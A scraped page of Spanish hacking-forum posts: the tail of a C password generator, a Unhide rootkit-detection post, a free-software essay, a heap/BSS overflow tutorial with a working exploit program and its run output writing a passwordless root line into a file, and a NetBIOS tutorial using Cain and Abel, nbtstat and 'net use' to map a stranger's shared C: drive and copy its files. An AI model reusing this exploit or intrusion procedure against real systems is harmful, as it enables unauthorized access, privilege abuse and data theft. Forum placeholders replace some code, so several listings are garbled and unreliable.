  60.     }
  61.    
  62.     *cen = aux % 7;
  63.  }
  64.  
  65.  void UnidadMil(int ci[10], int *um)
  66.  {
  67.    
  68.     int aux = 1;
  69.     int aux2 = 0;
  70.    
  71.     for(int i=1; i <= 8; i++)
  72.     {
  73.        if ( ci[i] != 0)
  74.        {
  75.           aux = aux * ci[i];
  76.        }
  77.     }
  78.    
  79.    
  80.    
  81.     while(aux > 0)
  82.     {
  83.        aux2 = aux % 10;
  84.       aux = aux /10;  
  85.     }
  86.    
  87.     //le devuelve a la variable um el valor de la cifra mas significativa
  88.    
  89.     *um = aux2;
  90.    
  91.    
  92.  }
  93.  
  94.  main()
  95.  {
  96.     int ci[10]={0}, uni=0, dec=0, cen=0, um=0;
  97.    
  98.      cedula(ci);
  99.      Mostrar(ci);
  100.      unidades(ci, &uni);
  101.      decena(ci, &dec);
  102.      centenas(ci, &cen);
  103.      UnidadMil(ci, &um);
  104.      
  105.      //se imprime el resultado
  106.      
  107.      You are not allowed to view links. Register or Login("\n La contraseña generada es:\n");
  108.      You are not allowed to view links. Register or Login("%i%i%i%i",um, cen, dec, uni);
  109.      You are not allowed to view links. Register or Login("pause");
  110.      
  111.      //FIN DEL PROGRAMA  
  112.  }
  113.  

Saludos.
 

5
GNU/Linux / Unhide – Encontrando procesos ocultos en Gnu/linux y BSD
« en: Febrero 10, 2011, 10:54:42 pm »
Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Tabla normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;}

Recientemente  me a tocado limpiar mi computadora después de casi año y medio de tener squeezy (“en testing”) ahora pasando a estable, e realizado una instalación desde cero; y buscando algunas herramientas que  permitan mejorar la seguridad en cuanto a LKMS u otras técnicas de ocultación de Rootkits, algunas de ellas ya conocidas como
Rootkithunter, Lynis o tal como Samhain, etc. Que permiten conocer  a fondo que está
corriendo por ahí.

Unhide es una herramienta forense que permite descubrir procesos  y puertos TCP/UDP
abiertos.

Unhide is a forensic tool to find hidden processes and TCP/UDP ports by rootkits / LKMs or by another hidden technique.

- Detecting hidden processes. Implements six techniques:

- Compare /proc vs /bin/ps output

- Compare info gathered from /bin/ps with info gathered by walking thru the procfs.

- Compare info gathered from /bin/ps with info gathered from syscalls (syscall scanning).

- Full PIDs space occupation (PIDs bruteforcing)

- Reverse search, verify that all thread seen by ps are also seen by the kernel (/bin/ps output vs /proc, procfs walking andsyscall)

- Quick compare /proc, procfs walking and syscall vs /bin/ps output.

- Identify TCP/UDP ports that are listening but not listed in /bin/netstat doing brute forcing of all TCP/UDP ports availables.

El proceso para instalarlo es simple solo basta con compilarlo y ejecutarlo como root.

 

Lo extraemos:

tar -xf unhide-20110113.tar

Compilamos:

gcc –static unhide.c -o unhide

gcc –static unhide-tcp.c -o unhide-tcp

gcc -Wall -O2 –static -pthread unhide-linux26.c -o unhide-linux26

y listo a correr:

./sanity.sh

Con esto el programa escaneará y estará en búsqueda de procesos ocultos.



Para descargar:
You are not allowed to view links. Register or Login


Más información :
You are not allowed to view links. Register or Login

 

Fuente: rinconinformatico.net

6
GNU/Linux / Filosofía del software libre
« en: Enero 31, 2011, 07:46:57 pm »
GNU son las siglas de GNU's Not Unix! (o, en español, GNU No es Unix!). Es un proyecto fundado en 1984 y, cuyo principal objetivo, era desarrollar un sistema operativo completo basado en el sistema UNIX con la peculiar característica de que tal sistema fuere software libre.

Ahora bien, ¿qué es eso del "Software Libre"? Este término es utilizado para designar a aquellas aplicaciones que son programadas para que los usuarios tengan total libertad de utilizar la aplicación de forma gratuita, tener acceso al código fuente de tal aplicación pudiendo incluso hacer sus propias modificaciones y cambios en ellas, y también tener el derecho de poder redistribuir las copias de tal aplicación.

En pocas palabras, las aplicaciones de software libre son aquellas en las que cualquier usuario no tiene porque pedir o pagar derechos y/o permisos a su autor.

La siguientes líneas fueron extraídas de la propia página web del Proyecto GNU

(//http://www.gnu.org/philosophy/free-sw.es.html//)

"Software Libre" se refiere a la libertad de los usuarios de correr, copiar, distribuir, estudiar, cambiar y mejorar el software. Más precisamente, se refiere a las cuatro libertades de los usuarios de software:

~1) //La libertad// de correr el programa, con cualquier propósito (libertad 0).
~1) //La libertad// de estudiar como funcionael programa, y adaptarlo a sus necesidades (libertad 1). El acceso al código fuente es una precondición para esto.
~1) //La libertad// de distribuir copias de manera que se puede ayudar al vecino (libertad 2).
~1) //La libertad// de mejorar el programa, y liberar las mejoras al publico de tal manera que toda la comunidad se beneficia. (libertad 3). El acceso al código fuente es una precondición para esto.

Si usted desea estar mejor informado acerca de la historia, filosofía e infinidad de información sobre el proyecto GNU, le recomiendo que visite sus página en //http:// You are not allowed to view links. Register or Login donde encontrará todo acerca de esta filosofía de vida.

Monografía creado por Enrique Barbeito García

7
Hacking / Como explotar heap overflow
« en: Julio 29, 2010, 09:19:43 pm »
Empezamos...


Algo simple: overflows pa lerdos.
----------------------------------

Bueno, estamos delante de un ordenador que esta ejecutando un programa
y nos preguntamos "por que funciona este cacharro?". La verdad es que
explicar como hace lo que hace el procesador es un poco complejo (a mi me
llevo entenderlo 4 meses de una asignatura un pelin peñazo ;) pero podemos
hacer un resumen un poco tosco del mismo: tenemos un procesador que, como su
propio nombre indica, solo procesa los datos que estan en la memoria (o en
el disco duro, etc). "Y como sabe el procesador la forma en que tiene que
procesar un determinado dato?"; pues simplemente, los programas le dicen
mediante unos codigos binarios preprogramados cual es la siguiente instruccion
a ejecutar y con que datos debe hacerlo. "Y como sabe el procesador que lo que
esta procesando es un dato y no otra instruccion del programa que deberia
ejecutar?"; pues eso el procesador no lo sabe, y precisamente este hecho es lo
que vamos a aprovechar nosotros para nuestros maleficos fines.


Veamos, la memoria de un ordenador, como todos sabeis, es simplemente un
monton de registros en los que se puede almacenar 0 o 1's. No consiste en nada
mas que en eso. Por ejemplo, si tomamos una porcion muy pequeña de la memoria
y vemos lo que contiene, seguramente se parecera a esto:

Código: You are not allowed to view links. Register or Login
---------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
---------------------------------------------------------------------

y a lo mejor lo que quiere significar toda esta serie de digitos es esto:
Código: You are not allowed to view links. Register or Login
---------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
---------------------------------------------------------------------
instruccion | dato | dato | instruccion | instr...


Ya desde la epoca de los primeros ordenadores existia la idea de poner
una etiqueta (un bit mas) en cada conjunto de datos para diferenciar si el
conjunto en cuestion era una instruccion o un dato; pero en aquella epoca
poner un bit mas era bastante caro y los resultados de los programas se
harian mucho mas lentamente al procesar un bit mas. Ademas, Von Neumman
(un chavalote al que le debemos gran parte de los conceptos de los ordenadores
actuales) habia demostrado años atras que con una buena organizacion del
procesador y un acceso bien ordenado a la memoria, no hacia falta diferenciar
entre instrucciones y datos puesto que el procesador responderia a una
instruccion determinada y cogeria los datos que le indicaba la instruccion,
y como la instruccion siempre va a apuntar a una zona de memoria en la que
estan sus datos, pues no habia ningun problema.


Seguro que la instruccion siempre va a apuntar a una zona de memoria
donde van a estar sus datos? Bueno.... eso habria que discutirlo....
Vamos a ver el ejemplo mas tonto de stack overflow que existe. Tenemos una
variable (es decir, uno de los 'datos' de la instruccion) y ejecutamos algo
tan simple como el programilla este:

Código: You are not allowed to view links. Register or Login
......
main()
{
char dato[20];
....
scanf("%s",&dato);
....
}
....

y la memoria quedaria mas o menos asi (las x's representan instrucciones):

....xxxx|0000000000...0000000000|xxxxx......xxx|xxxxxxx......xxxxxxx|.....
^ ^
la variable datos[20] la instruccion scanf

pues nada, ya tenemos el juego listo. Lo normal es que el usuario,
cuando se le diga que meta el texto en cuestion para rellenar la variable
datos[20], meta menos de 20 caracteres y entonces no hay problema; pero el
problema aparece cuando le da por meter algunos mas. Resulta que el lenguaje
C no hace comprobacion de limites al ejecutar instrucciones como esas, entonces
lo que hace es simplmente seguir aceptando caracteres y guardandolos en
posiciones de memoria adyacentes a las de la variable dato[20], mas o menos
asi:

caso 1: el usuario es buena gente

Código: You are not allowed to view links. Register or Login
-----------------------------------------------------
.....|soy pepe000000000000|xxxxxxxxxxxxx...xxxx|.....
-----------------------------------------------------

caso 2: el usuario es un jaquerrr con ganas de hacer algo ilegal

Código: You are not allowed to view links. Register or Login
-----------------------------------------------------
.....|soy un megahax0r jaj|ajajajaxxxxxxxx...xx|.....
-----------------------------------------------------

Aqui vemos como se han sobreescrito los primeros bits de la instruccion
siguiente a datos[20]. Lo normal que ocurra en estos casos es que el
procesador, al intentar ejecutar esa instruccion que por supuesto no coincide
con ninguna valida, de un error y termine la ejecucion del programa.


Sin embargo, el truco consiste en sobreescribir la instruccion que sigue
a datos[20] para que sea algo que el procesador entienda. Lo mas usual es que
se sobreescriba con un salto hacia otra posicion de memoria donde hayamos
puesto antes una llamada a una shell para que, en vez de ejecutar la
instruccion, se ejecute una shell que nos daria acceso al sistema.
Graficamente:

Código: You are not allowed to view links. Register or Login
........................................................
................datos[20]saltoxxxxxxxx..................
........................................................
........................................................
........................................................
....shell
y terminariamos la ejecucion del programa con una flamante shell recien
invocada :).


Bueno, no me extiendo mas sobre el tema de en que consiste los overflows;
supongo que todos habeis captado la idea. Todo lo que he dicho hasta ahora
se refiere a los stacks overflows, de los que hay un montonazo de articulos
escritos tanto en castellano como en yanki-lengua, asi que si os interesa, solo
teneis que moveros por el mundo... (y tampoco mucho, este ezine trae de todo ;)


Heaps Overflows.
------------------

En los parrafos anteriores hemos visto la base de un stack overflow. No
es que sea muy complejo pero tiene ciertas curiosidades que hay que tener en
cuenta, como por ejemplo averiguar direcciones de retorno en las llamadas
a funciones y cosas asi (para saber mas, lo mejor es que os leais los
distintos artis publicados sobre el tema). Yo defiendo los heaps overflows
por su sencillez y su "pureza de lineas", como diria algun anuncio malo de
coches ;)

Por supuesto, para entender lo que es un Heap Overflow, lo primero que
hay que saber que es lo que es el Heap ;). Veamos, un programa tiene dos
formas de pedir al SO memoria para hacer su trabajo. Una de ellas es la
tipica, que hemos usado antes:

char datos[20]

con lo que el sistema asignaria una zona de memoria identificandola con el
nombre "datos" y de tamaño 20 bytes. Esta es la forma tradicional y
"estatica", es decir, que si en algun momento del programa necesitamos que en
la variable datos quepan 40 bytes, no podemos hacerlo.


La otra forma, y es la que nos interesa, es que el programa pida en tiempo
de ejecucion (la otra forma se denomina "en tiempo de compilacion") la memoria
que necesita, entonces el SO busca memoria libre y, si hay disponible, se la
da al programa. Usualmente esto se hace con:

Código: You are not allowed to view links. Register or Login
char *datos;
datos=(char *) malloc(TAMAÑO_DE_MEMORIA);

y el sistema devolveria en "datos" la zona de memoria asignada o, si no hay
libre, pondria datos a NULL. Aqui vemos que la variable "datos" ha dejado de
ser una variable en el sentido "clasico" de la palabra y pasa a ser un
puntero que, como su propio nombre indica, lo que hace es apuntar a la primera
de una serie de posiciones de memoria.


Alguien se debe estar preguntando ya "si un overflow consiste en
sobreescribir una zona de memoria, como va a ser el SO tan tonto como para
darnos acceso mediante malloc() a una zona de memoria que ya esta siendo
ocupada?". Pues muy sencillo: el SO no es tonto. Bueno, no del todo :). El SO
simplemente hace lo que nosotros le digamos dentro de unos limites, asi que
nunca nos va a dar posiciones que ya estan usadas, pero nada nos impide a
nosotros mismos movernos por esas posiciones. Lo que tenemos que tener en
cuenta es que, como C no hace la comprobacion de que estamos escribiendo en
la posicion de memoria que nos ha asignado el SO (si no comprueba limites en
las variables lo logico es que tampoco compruebe cosas como estas porque los
dos conceptos se basan en lo mismo: escribir en un sitio que no estaba
pensado para ti), siempre vamos a poder escribir en otra que sea
una posicion valida. Es decir, que si tenemos 2 zonas de memoria (no hace
falta que sean consecutivas) asignadas para dos variables, el SO nos va a
permitir escribir en la segunda usando la primera, y viceversa, por la sencilla
razon de que tanto la primera como la segunda apuntan a zonas de memoria que
has sido identificadas como "escribibles" por ese tipo de variables. Vamos a
verlo con un ejemplo que queda muy clarito:

Código: You are not allowed to view links. Register or Login
<++> heap/ejemplo1.c 92ca44fdc06aa8f1d800ecf7fe6309
/*
* el ejemplo mas simple posible de un overflow en la zona heap
*
* basado directamente en uno de w00w00
*
*/

#include
#include
#include

int main()
{
char *dato1, *dato2; /* nuestras variables */
unsigned long distancia; /* esta es la distancia real en memoria
que van a tener nuestras variables.
si estuvieran las 2 en zonas de memoria
consecutivas, la distancia seria 0 */

/* pedimos la asignacion de memoria. Vamos a pedir 40 bytes */
dato1=(char *) malloc(40);
dato2=(char *) malloc(40);

/* miramos a cuanta distancia estan */
distancia=(unsigned long) dato2 - (unsigned long) dato1;

/* ahora rellenamos dato2 con una cadena normal y corriente. memset()
lo unico q hace es rellenar la posicion de memoria q se le pasa
con un caracter */
memset(dato2,'P',40-1), dato2[40-1]='{jumi [*3] [http://www.govannom.org/seguridad/heap_overf/heap_overf_by_cafo.txt]}';
printf("antes de sobreescribir: %s\n",dato2);

/* sobreescribimos 20 bytes de dato2 usando la variable dato1 y la
distancia que los separa (por si acaso esta no es 0) */

memset(dato1,'*',(unsigned int)(distancia + 20));

/* comprobamos */
printf("despues de sobreescribir: %s\n",dato2);

return 0;
}
<-->

Pues ya lo tenemos, lo ejecutamos y vemos como el puntero dato1 sobreescribe
la zona que tiene asignada dato2; y el SO se lo permite por la sencilla razon
de que ambas zonas (la de dato2 y la que se 'supone' que tiene q usar
dato1) son del mismo tipo y estan inicializadas de la misma forma, y como
C no comprueba las direcciones pues es facil confundirlo para q piense que
dato1 se esta escribiendo en su sitio cuando en realidad estamos en la zona
de dato2.
Código: You are not allowed to view links. Register or Login
[...]
[email protected]:~/nets/heap$ ./ejemplo1
antes de sobreescribir: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
despues de sobreescribir: ********************PPPPPPPPPPPPPPPPPPP
[...]

Entonces el concepto ha quedado bastante claro, no? Solamente necesitamos
un puntero que se encuentre en la zona heap que podamos manejar para poder
tener acceso a todos los demas punteros de esa zona.

Bueno, tanto rollo sobre la zona heap y todavia no he explicado lo que es ;)
Pues el Heap es simplemente una zona de memoria dinamica donde almacenar
variables por medio de la llamada a malloc(). Posiblemente los que habeis
leido algun libro sobre arquitectura de SO y demas, os suene la pareja
HEAP/BSS. El BSS (y juro que no he podido encontrar por ningun lado que es lo
que significan esas puñeteras siglas ;) es simplemente la zona de memoria
donde se encuentran las variables globales que no son inicializadas y las
declaradas como 'estaticas'. Por ejemplo, si queremos disponer de memoria sin
tener que inicializarla pero queremos que se comporte como el puntero que
usabamos antes, podemos escribir algo como esto:

static char dato1[40];

y seria el equivalente en la zona BSS a la llamada a malloc() que hicimos en
el programilla anterior.

Bueno, una vez llegados a este punto mas de uno se preguntara "Y esto para
que me sirve a mi?". Pues la verdad es que si te preguntas eso es que todavia
te falta coger bastante practica con eso de los exploits ;). Bueno, en serio.
Simplemente tienes que encontrar un codigo fuente (bastante usual en estos
tiempos de codigo abierto...) que use una de estas variables que he comentado
y que permita al usuario escribirla. La situacion tipica es que el
programador use uno de estos punteros para pedir datos al usuario.

Imaginad que tenemos un programa que lo unico que hace es escribir lo que
nosotros le digamos en un fichero que no podemos elegir. Algo como esto:
Código: You are not allowed to view links. Register or Login
<++> heap/ejemplo2.c $d102f90f44986e093acb7a01aef6d723
/*
* ejemplo2.c Muestra un programa vulnerable en la zona BSS
*/

#include

int main()
{
FILE *archivo;
static char dato1[16], *tmpfile;

tmpfile="/tmp/mama.txt"; /* ponemos un temporal cualquiera */
printf("antes del exploit: %s\n",tmpfile); /* para asegurarnos... */

printf("Datos a introducir en mama.txt: \n");
gets(dato1);

printf("\ndespues del exploit: %s\n",tmpfile);
archivo=fopen(tmpfile,"w");

fputs(dato1,archivo);
fclose(archivo);
}
<-->

Pues ya tenemos el programa en cuestion. A simple vista no es vulnerable
porque lo unico que se puede modificar "externamente" es lo que se escribe en
el archivo "mama.txt" asi que no tendriamos ningun problema con la seguridad
del sistema, verdad? Ojala fuera asi, porque podemos usar lo que dijimos antes
de sobreescribir punteros para que el programa hiciera ciertas cosas no
deseables, como sobreescribir archivos de sistema o cosas asi, y siempre
podremos encontrar ficheros que al sobreescribir sean utiles, no?

Pues el truco en este caso esta en que la variable donde se guarda el
nombre es un puntero mientras que donde nosotros guardamos los datos que
queremos meter en el archivo esta en la zona BSS, con lo que nos permite
jugar un poco con las direcciones. Lo unico que debemos hacer es empezar a
probar distintos acercamientos a "*tmpfile" desde "datos1" hasta que logremos
sobreescribir por completo la posicion de *tmpfile con la direccion de un
archivo que nos interese escribir. Veamoslo con un ejemplo:

Código: You are not allowed to view links. Register or Login
<++> heap/exploit2.c $cc2e106df958188984666213aa549c49
/* exploit para el programa ejemplo2.c
* el original sigue estando en w00w00 ;)
*/
#include
#include
#include
#include

#define BUFSIZE 256
#define ERROR -1

#define DIFF 16

#define VULPROG "./ejemplo2"
#define VULFILE "/tmp/mierdapami"

u_long getesp()
{
__asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
u_long addr;

register int i;
int mainbufsize;

char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

memset(buf, 0, sizeof(buf)), strcpy(buf, "root::::/bin/sh\t #");

memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);

for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen(buf) + strlen(VULPROG) +
strlen(VULPROG) + strlen(VULFILE) + 13;

mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));

snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
buf, VULPROG, VULFILE);


system(mainbuf);
return 0;
}
<-->

Pues nada, aqui tenemos que un programa aparentemente inocente como este,
es capaz de escribir lo que nosotros queramos en cualquier sitio donde
tengamos privilegios de escritura. Solamente tenemos que ir probando
distintos offsets hasta que sobreescribamos la ruta completa:

Código: You are not allowed to view links. Register or Login
[code][..]
[email protected]:~/nets/heap$ ./exploit2 500
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: G = spanish
[...]

ups, nos hemos ido a la zona de las variables de entorno (no decia yo que este
tipo de exploit puede ser realmente util? ;). Sigamos probando (esto mas o
menos es el juego del "hundir la flota" pero nosotros tenemos el truco de que
podemos probar millones de valores por minuto, no? :)

[...]
[email protected]:~/nets/heap$ ./exploit2 400
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: üÿ¿
[...]

Dish, nos hemos ido al codigo ejecutable. Demasiado bajo. Agua ;)

[...]
[email protected]:~/nets/heap$ ./exploit2 450
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: mplo2
[...]
[/code]

esto ya suena mejor. Es el nombre del programa vulnerable, asi que suponemos
que podemos estar en argv[0], no?. Agua todavia.

[...]
[email protected]:~/nets/heap$ ./exploit2 465
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: dapami
[...]

bueno bueno bueno, esto ya esta mucho mejor. Acabamos de encontrar nuestra
cadena apuntando al fichero que queremos sobreescribir. TOCADO!. Contando
con los dedos resulta que

[...]
Código: You are not allowed to view links. Register or Login
[email protected]:~/nets/heap$ ./exploit2 456
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit:
Código: You are not allowed to view links. Register or Login
/tmp/mierdapami[...]

HUNDIDO!!! Si todo ha salido bien, tenemos en nuestro directorio tmp ese
archivo con la info q nosotros queriamos que tuviese. Veamoslo:

[...]
Código: You are not allowed to view links. Register or Login
[email protected]:~/nets/heap$ cat /tmp/mierdapami
root::::/bin/sh
[email protected]:~/nets/heap
[...]

interesante, verdad? Que pena que esa misma linea no estuviera en otro sitio...
pero nada, como esto no es para que hagais cosas malas, os dejo que
investigues vosotros.

Hasta aqui todo ha salido muy bien. Por supuesto que por ahora solo hemos
estado con programas mios, es decir, que yo sabia al escribirlos que iban
a ser vulnerables. Lo siguiente seria averiguar que tipo de programas
pueden ser vulnerables o que tipo de variables son tipicamentes sobreescritas
por los exploits, pero eso lo dejaremos para la segunda parte del arti ;)

un saludete.

fuente diosdelared

8
Hacking / Netbios + cain (newbie)
« en: Julio 29, 2010, 09:10:12 pm »
NetBIOS Hacking
-Qué es? --
Hacking NetBIOS es el arte de la piratería informática en la computadora de alguien más a través de su ordenador. NetBIOS significa "Red del Sistema Básico de Entrada Salida." Es una forma de que una red LAN o WAN para compartir carpetas, archivos, unidades e impresoras.

-Cómo puede ser esto de utilidad para mí? --
La mayoría de las personas ni siquiera saben, pero cuando están en una LAN o WAN que podría tener la totalidad de su disco duro compartido y ni siquiera saberlo. Así que si podemos encontrar una manera en la red, su equipo está a nuestra disposición.

-¿Qué necesito? --
SO Windows
Caín y Abel (You are not allowed to view links. Register or Login)
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++
- [Paso 1, encontrar el objetivo.] --
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++
Así que primero fuera tenemos que encontrar un ordenador o el ordenador para entrar en. Así que si tu conectado a la LAN, o conectado a la WAN, puede empezar. Abrir Caín y Abel. Este programa tiene un sniffer en función. Un sniffer busca todas las direcciones IP en la subred local. Una vez que haya abierto el programa, haga clic en la pestaña sniffer, haga clic en el Start / Stop Sniffer y, a continuación, haga clic en el cruz azul



Otra ventana, asegúrese de que "todos los host en mi subred" está seleccionado y, a continuación, haga clic en Aceptar.



Debería comenzar a escanear.



Luego de la propiedad intelectual, los nombres, direcciones MAC y se mostrarán.
Ahora recuerdo la dirección IP del ordenador que se va a romper en.
Si usted no puede decir si la dirección IP es un ordenador, router, módem, etc, eso es correcto.
Durante el siguiente paso se inicia la prueba y error.



++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++
- [Parte 2, de prueba y error] --
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++

Ahora, no sabemos si tenemos nuestro objetivo designado, o si tenemos un ordenador o impresora, o cualquier otra cosa está en la LAN o WAN.
Si lo hizo llegar el período de investigación de la meta, sin embargo, todavía recomendamos leer a través de esta sección, ya que podría ser útil más adelante.
Haga clic en el menú de inicio y vaya a ejecutar, escriba cmd y haga clic en Aceptar.
Esto debería abrir el símbolo del sistema.
A partir de aquí haremos la mayor parte de la piratería informática.
Ahora me voy a referir a ciertos comandos que se deben introducir en la línea de comandos.
Voy a poner estos comandos en la cita, pero no poner las comillas en el código cuando escriba en el símbolo del sistema.
Sólo estoy haciendo esto para evitar confusiones.
Volvamos a la piratería informática.
Escriba "ping (dirección IP de la meta)." Por ejemplo en este tutorial, "ping 192.168.1.103".
Esto nos permitirá saber si el destino está en línea.
Si funcionó, que se verá algo como esto (la nota, me han privado de información de color):



Si no funciona, lo que significa que la meta no está en línea, que se verá algo como esto:



Si el objetivo no está en línea, ya sea para cambiar un objetivo diferente, o intente otra vez. Si el objetivo está en línea, entonces podemos continuar.

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++
- [Parte 3, Recolección de la Información.] --
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++

Ahora, la entrada a este comando "nbtstat-a (dirección IP de destino)." Un ejemplo sería "nbtstat-a 192.168.1.103."
Esto nos mostrará si se permitió el uso compartido de archivos, y si hay, que nos dará el: actualmente conectado usuario, grupo de trabajo, y el nombre del equipo.



Bueno, probablemente usted está preguntando, "¿Qué significa todo esto para mí?" Bueno, esto es realmente muy importante, sin que ello, el truco no funcionaría. Así que, permítanme romper hacia abajo desde la parte superior hacia abajo. Me limitaré a dar la primera línea de la información y, a continuación, explicar el párrafo que sigue.

La información debajo de la original de mando dice: "Conexión de área local", esta información nos habla de nuestra conexión a través de la LAN, y en mi caso, no estoy conectado a través de LAN, por lo que el anfitrión no se encuentra, y no hay propiedad intelectual .

La información debajo de la "Conexión de área local", es "Conexión de red inalámbrica 2:" Nos da información sobre la conexión a la meta a través de la WAN. En mi caso estoy conectado a través de la WAN, por lo que fue capaz de encontrar el nodo ipAddress. El Nodo ipAddress es la de área local IP del ordenador que se va a romper en.

La máquina remota de NetBIOS Nombre de la tabla, nos da el grupo de trabajo de nuestro equipo, nos dice si se comparte, y nos da el nombre del equipo. A veces incluso nos da la actualidad, al usuario con sesión iniciada, pero en mi caso, no lo hizo. Batgirl es el nombre del equipo que estoy tratando de conectar. Si observamos a la derecha debería ver un <20>. Esto significa que el uso compartido de archivos está habilitada en Batgirl. Si no hay un <20> a la derecha del nombre, entonces usted ha llegado a un callejón sin salida y necesidad de ir a buscar otro IP, o para dejar de fumar ahora. Batgirl está por debajo de las computadoras para grupos de trabajo, SUPERHEROES. Si usted está confundido acerca de cual es el grupo de trabajo, y la computadora, busque en el tipo de categoría a la derecha de la <> para cada nombre. Si dice ÚNICO, es un sistema, como una impresora o computadora. Si es grupo, entonces es el grupo de trabajo

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++
- [Paso 4, Rompiendo En] --
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++

Finalmente ha llegado el momento.
Por ahora sabemos: que nuestro objetivo está en línea, nuestro objetivo ha de compartir archivos, y nuestra meta del nombre del equipo.
Así que es hora de romper pulg
Ahora busque el compartidos, carpetas, archivos o impresoras. Escriba "net view \ \ (Dirección IP de destino)"
Un ejemplo de este tutorial sería: "net view \ \ 192.168.1.103"



Hemos encontrado nuestra justa cuota de nuestro nombre. En este caso, bajo el nombre del recurso compartido es "C", lo que significa que la única cosa compartida en el equipo es C. Luego a la derecha, en Tipo, que dice "disco". Esto significa que es el disco de la C ordenador. C El disco puede ser a veces una persona todo el disco duro.

Todos los que se deja de hacer es un "mapa" de la unidad compartida en nuestro ordenador. Esto significa que vamos a hacer una unidad en nuestro ordenador, y todo el contenido de los objetivos de ordenador se puede acceder a través de nuestra unidad de red creada. Escriba "net use K: \ \ (Dirección IP de destino) \ (unidad compartida). Para mi ejemplo, en este tutorial, "net use K: \ \ 192.168.1.103 \ C." Bueno, digamos que usted planea hacer esto de nuevo a otra persona, u hacer ver la "K después de" net use? "Este es la letra de la unidad en la que usted está haciendo en su computadora. Puede ser cualquier carta que desee, siempre que la misma carta, no está en uso por el equipo. Por lo tanto, podría ser "net use G. ..", para un objetivo diferente.



Como puede ver, para mi truco ya he usado "K", por lo que utiliza "G" en su lugar.
Usted también puede hacer lo mismo para múltiples gacetilleros.
Si funcionó, es decir "El comando se ha completado correctamente."
Si no, tendrá que volver a ir pasos.
Ahora la apertura de "Mi PC" en el menú de inicio, y su recién creada unidad de red debe estar allí



Ahora, si se desconecta de la red WAN o LAN, usted no será capaz de acceder a esta unidad, de ahí el nombre de unidad de red.
La unidad no se borrará después de desconectar, aunque, pero no será capaz de acceder a ella hasta que vuelva a la red.
Así que si estás haciendo esto por el contenido de la unidad, recomiendo arrastrar los archivos y carpetas dentro de la unidad en el equipo,
porque nunca se sabe si el objetivo de compartir los cambios de la configuración.
Si usted está haciendo esto para piratear algo, luego explorar y algunos han merecido la diversión!

Felicidades! Ya está!

-Los comandos utilizados en este tutorial:
PING
Nbtstat-a (dirección IP de destino)
NET VIEW \ \ (Dirección IP de destino)
NET USE K: \ \ (Dirección IP de destino) \ (sharename)

Salu2

diosdelared

Páginas: [1]